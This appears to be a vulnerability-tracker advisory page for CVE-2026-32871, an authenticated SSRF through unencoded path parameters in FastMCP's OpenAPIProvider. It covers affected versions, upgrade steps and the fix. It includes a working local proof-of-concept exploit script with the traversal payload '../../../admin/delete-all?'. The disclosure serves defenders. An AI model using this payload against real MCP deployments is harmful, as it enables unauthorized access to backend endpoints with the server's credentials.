Live › vulnerability › CVE-2026-32871
Go to dashboardFastMCP's OpenAPI provider substitutes path parameter values into backend URLs without encoding, so ../ sequences escape the intended API prefix. An attacker who can call an exposed MCP tool can make the server send authenticated requests to any backend endpoint it can reach, including ones absent from the OpenAPI spec.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-27 16:41 UTC, 0h before NVD. All times on this page are UTC.
Teams running FastMCP below 3.2.0 with OpenAPIProvider, which turns an OpenAPI spec into MCP tools that call a backend API. Exposure depends on the MCP provider holding backend credentials and on path parameters taking values an MCP client can influence. Teams that do not use OpenAPIProvider, or that run only non-OpenAPI FastMCP servers, can skip it.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| fastmcp | pypi | < 3.2.0 | 3.2.0 |
| jlowin fastmcp | vendor | < 3.2.0 | 3.2.0 |
pip show fastmcp or python -c "import fastmcp; print(fastmcp.__version__)"; versions below 3.2.0 are affected.OpenAPIProvider or RequestDirector in the codebase.3.2.0 or later with pip install --upgrade fastmcp==3.2.0.urllib.parse.quote(str(value), safe="") to path parameter values in _build_url(), as the advisory suggests.Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
The OpenAPIProvider in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The RequestDirector class is responsible for constructing HTTP requests to the backend service.
A critical vulnerability exists in the _build_url() method. When an OpenAPI operation defines path parameters (e.g., /api/v1/users/{user_id}), the system directly substitutes parameter values into the URL template string without URL-encoding. Subsequently, urllib.parse.urljoin() resolves the final URL.
Since urljoin() interprets ../ sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in authenticated SSRF, as requests are sent with the authorization headers configured in the MCP provider.
File: fastmcp/utilities/openapi/director.py
def _build_url(
self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
# Direct string substitution without encoding
url_path = path_template
for param_name, param_value in path_params.items():
placeholder = f"{{{param_name}}}"
if placeholder in url_path:
url_path = url_path.replace(placeholder, str(param_value))
# urljoin resolves ../ escape sequences
return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))
urllib.parse.urljoin() interprets ../ as directory traversalCreate internal_api.py to simulate a vulnerable backend server:
from fastapi import FastAPI, Header, HTTPException
import uvicorn
app = FastAPI()
@app.get("/api/v1/users/{user_id}/profile")
def get_profile(user_id: str):
return {"status": "success", "user": user_id}
@app.get("/admin/delete-all")
def admin_endpoint(authorization: str = Header(None)):
if authorization == "Bearer admin_secret":
return {"status": "CRITICAL", "message": "Administrative access granted"}
raise HTTPException(status_code=401)
if __name__ == "__main__":
uvicorn.run(app, host="127.0.0.1", port=8080)
Create exploit_poc.py:
import asyncio
import httpx
from fastmcp.utilities.openapi.director import RequestDirector
async def exploit_ssrf():
# Initialize vulnerable component
director = RequestDirector(spec={})
base_url = "http://127.0.0.1:8080/"
template = "/api/v1/users/{id}/profile"
# Payload: Path traversal to reach /admin/delete-all
# The '?' character neutralizes the rest of the original template
payload = "../../../admin/delete-all?"
# Construct malicious URL
malicious_url = director._build_url(template, {"id": payload}, base_url)
print(f"[*] Generated URL: {malicious_url}")
async with httpx.AsyncClient() as client:
# Request inherits MCP provider's authorization headers
response = await client.get(
malicious_url,
headers={"Authorization": "Bearer admin_secret"}
)
print(f"[+] Status Code: {response.status_code}")
print(f"[+] Response: {response.text}")
if __name__ == "__main__":
asyncio.run(exploit_ssrf())
[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?
[+] Status Code: 200
[+] Response: {"status": "CRITICAL", "message": "Administrative access granted"}
The attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials.
URL-encode all path parameter values before substitution to ensure reserved characters (/, ., ?, #) are treated as literal data, not path delimiters.
Updated code for _build_url() method:
import urllib.parse
def _build_url(
self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
url_path = path_template
for param_name, param_value in path_params.items():
placeholder = f"{{{param_name}}}"
if placeholder in url_path:
# Apply safe URL encoding to prevent traversal attacks
# safe="" ensures ALL special characters are encoded
safe_value = urllib.parse.quote(str(param_value), safe="")
url_path = url_path.replace(placeholder, safe_value)
return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))
This page as .md · .json · in your agent: get_signal("CVE-2026-32871")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.